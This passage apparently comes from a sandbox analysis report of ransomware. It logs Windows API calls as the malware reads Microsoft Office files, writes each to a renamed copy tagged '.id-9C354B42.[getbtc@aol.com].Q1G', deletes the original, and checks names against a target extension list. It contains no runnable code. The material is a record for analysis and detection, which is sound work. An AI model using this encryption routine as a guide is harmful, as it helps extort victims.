(lpString="WINPROJ.DEV_COL.HXT") returned 19 [0256.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.835] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=211) returned 1 [0256.835] CloseHandle (hObject=0x360) returned 1 [0256.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 0x20 [0256.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.836] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.836] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.837] GetLastError () returned 0x0 [0256.837] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xd3, lpOverlapped=0x0) returned 1 [0256.840] WriteFile (in: hFile=0x3c0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0256.841] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.841] WriteFile (in: hFile=0x3c0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0256.841] SetEndOfFile (hFile=0x3c0) returned 1 [0256.841] CloseHandle (hObject=0x3c0) returned 1 [0256.841] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.841] SetEndOfFile (hFile=0x360) returned 1 [0256.844] CloseHandle (hObject=0x360) returned 1 [0256.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 1 [0256.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.846] lstrlenW (lpString=".doc") returned 4 [0256.846] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0256.846] lstrlenW (lpString=".docx") returned 5 [0256.846] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0256.846] lstrlenW (lpString=".pdf") returned 4 [0256.846] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0256.846] lstrlenW (lpString=".xls") returned 4 [0256.846] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0256.846] lstrlenW (lpString=".xlsx") returned 5 [0256.846] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0256.846] lstrlenW (lpString=".ppt") returned 4 [0256.846] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0256.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.846] lstrlenW (lpString=".zip") returned 4 [0256.846] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0256.846] lstrlenW (lpString=".rar") returned 4 [0256.846] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0256.846] lstrlenW (lpString=".bz2") returned 4 [0256.846] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0256.846] lstrlenW (lpString=".7z") returned 3 [0256.846] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0256.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.846] lstrlenW (lpString=".dbf") returned 4 [0256.846] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0256.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.846] lstrlenW (lpString=".1cd") returned 4 [0256.846] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0256.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.846] lstrlenW (lpString=".jpg") returned 4 [0256.846] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0256.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.846] lstrlenW (lpString=".doc") returned 4 [0256.847] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0256.847] lstrlenW (lpString=".docx") returned 5 [0256.847] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0256.847] lstrlenW (lpString=".pdf") returned 4 [0256.847] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0256.847] lstrlenW (lpString=".xls") returned 4 [0256.847] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0256.847] lstrlenW (lpString=".xlsx") returned 5 [0256.847] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0256.847] lstrlenW (lpString=".ppt") returned 4 [0256.847] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0256.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.847] lstrlenW (lpString=".zip") returned 4 [0256.847] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0256.847] lstrlenW (lpString=".rar") returned 4 [0256.847] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0256.847] lstrlenW (lpString=".bz2") returned 4 [0256.847] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0256.847] lstrlenW (lpString=".7z") returned 3 [0256.847] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0256.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.847] lstrlenW (lpString=".dbf") returned 4 [0256.847] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0256.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.847] lstrlenW (lpString=".1cd") returned 4 [0256.847] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0256.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0256.847] lstrlenW (lpString=".jpg") returned 4 [0256.847] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0256.847] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0256.848] lstrlenW (lpString="WINPROJ_K_COL.HXK") returned 17 [0256.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.848] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=113) returned 1 [0256.848] CloseHandle (hObject=0x360) returned 1 [0256.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 0x20 [0256.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.849] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.849] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.850] GetLastError () returned 0x0 [0256.850] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x71, lpOverlapped=0x0) returned 1 [0256.851] WriteFile (in: hFile=0x3c0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0256.851] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.851] WriteFile (in: hFile=0x3c0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0256.851] SetEndOfFile (hFile=0x3c0) returned 1 [0256.852] CloseHandle (hObject=0x3c0) returned 1 [0256.852] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.852] SetEndOfFile (hFile=0x360) returned 1 [0256.854] CloseHandle (hObject=0x360) returned 1 [0256.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 1 [0256.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.855] lstrlenW (lpString=".doc") returned 4 [0256.855] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.855] lstrlenW (lpString=".docx") returned 5 [0256.855] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.855] lstrlenW (lpString=".pdf") returned 4 [0256.855] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.855] lstrlenW (lpString=".xls") returned 4 [0256.855] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.855] lstrlenW (lpString=".xlsx") returned 5 [0256.855] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.855] lstrlenW (lpString=".ppt") returned 4 [0256.855] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.855] lstrlenW (lpString=".zip") returned 4 [0256.855] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.855] lstrlenW (lpString=".rar") returned 4 [0256.855] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.855] lstrlenW (lpString=".bz2") returned 4 [0256.855] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.855] lstrlenW (lpString=".7z") returned 3 [0256.855] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.855] lstrlenW (lpString=".dbf") returned 4 [0256.855] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.856] lstrlenW (lpString=".1cd") returned 4 [0256.856] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.856] lstrlenW (lpString=".jpg") returned 4 [0256.856] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.856] lstrlenW (lpString=".doc") returned 4 [0256.856] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.856] lstrlenW (lpString=".docx") returned 5 [0256.856] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.856] lstrlenW (lpString=".pdf") returned 4 [0256.856] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.856] lstrlenW (lpString=".xls") returned 4 [0256.856] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.856] lstrlenW (lpString=".xlsx") returned 5 [0256.856] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.856] lstrlenW (lpString=".ppt") returned 4 [0256.856] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.856] lstrlenW (lpString=".zip") returned 4 [0256.856] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.856] lstrlenW (lpString=".rar") returned 4 [0256.856] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.856] lstrlenW (lpString=".bz2") returned 4 [0256.856] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.856] lstrlenW (lpString=".7z") returned 3 [0256.856] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.856] lstrlenW (lpString=".dbf") returned 4 [0256.856] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.856] lstrlenW (lpString=".1cd") returned 4 [0256.856] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0256.857] lstrlenW (lpString=".jpg") returned 4 [0256.857] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.857] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0256.857] lstrlenW (lpString="WINSCHD.VRD") returned 11 [0256.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0256.965] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1544) returned 1 [0256.966] CloseHandle (hObject=0x20c) returned 1 [0256.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 0x20 [0257.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.108] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.108] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.109] GetLastError () returned 0x0 [0257.109] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x608, lpOverlapped=0x0) returned 1 [0257.175] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x610, lpOverlapped=0x0) returned 1 [0257.176] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.176] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0257.176] SetEndOfFile (hFile=0x3d8) returned 1 [0257.176] CloseHandle (hObject=0x3d8) returned 1 [0257.176] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.177] SetEndOfFile (hFile=0x3c8) returned 1 [0257.178] CloseHandle (hObject=0x3c8) returned 1 [0257.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 1 [0257.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.180] lstrlenW (lpString=".doc") returned 4 [0257.180] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0257.180] lstrlenW (lpString=".docx") returned 5 [0257.180] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0257.180] lstrlenW (lpString=".pdf") returned 4 [0257.180] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0257.180] lstrlenW (lpString=".xls") returned 4 [0257.180] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0257.180] lstrlenW (lpString=".xlsx") returned 5 [0257.180] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0257.180] lstrlenW (lpString=".ppt") returned 4 [0257.180] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0257.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.180] lstrlenW (lpString=".zip") returned 4 [0257.181] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0257.181] lstrlenW (lpString=".rar") returned 4 [0257.181] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString=".bz2") returned 4 [0257.181] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString=".7z") returned 3 [0257.181] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0257.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.181] lstrlenW (lpString=".dbf") returned 4 [0257.181] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.181] lstrlenW (lpString=".1cd") returned 4 [0257.181] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.181] lstrlenW (lpString=".jpg") returned 4 [0257.181] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.181] lstrlenW (lpString=".doc") returned 4 [0257.181] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString=".docx") returned 5 [0257.181] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0257.181] lstrlenW (lpString=".pdf") returned 4 [0257.181] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString=".xls") returned 4 [0257.181] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0257.181] lstrlenW (lpString=".xlsx") returned 5 [0257.181] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0257.181] lstrlenW (lpString=".ppt") returned 4 [0257.181] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.181] lstrlenW (lpString=".zip") returned 4 [0257.181] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0257.181] lstrlenW (lpString=".rar") returned 4 [0257.181] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0257.181] lstrlenW (lpString=".bz2") returned 4 [0257.182] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0257.182] lstrlenW (lpString=".7z") returned 3 [0257.182] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0257.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.182] lstrlenW (lpString=".dbf") returned 4 [0257.182] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0257.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.182] lstrlenW (lpString=".1cd") returned 4 [0257.182] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0257.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0257.182] lstrlenW (lpString=".jpg") returned 4 [0257.182] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0257.182] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0257.182] lstrlenW (lpString="XFUNC.VSL") returned 9 [0257.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0257.193] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=52624) returned 1 [0257.193] CloseHandle (hObject=0x20c) returned 1 [0257.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 0x20 [0257.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 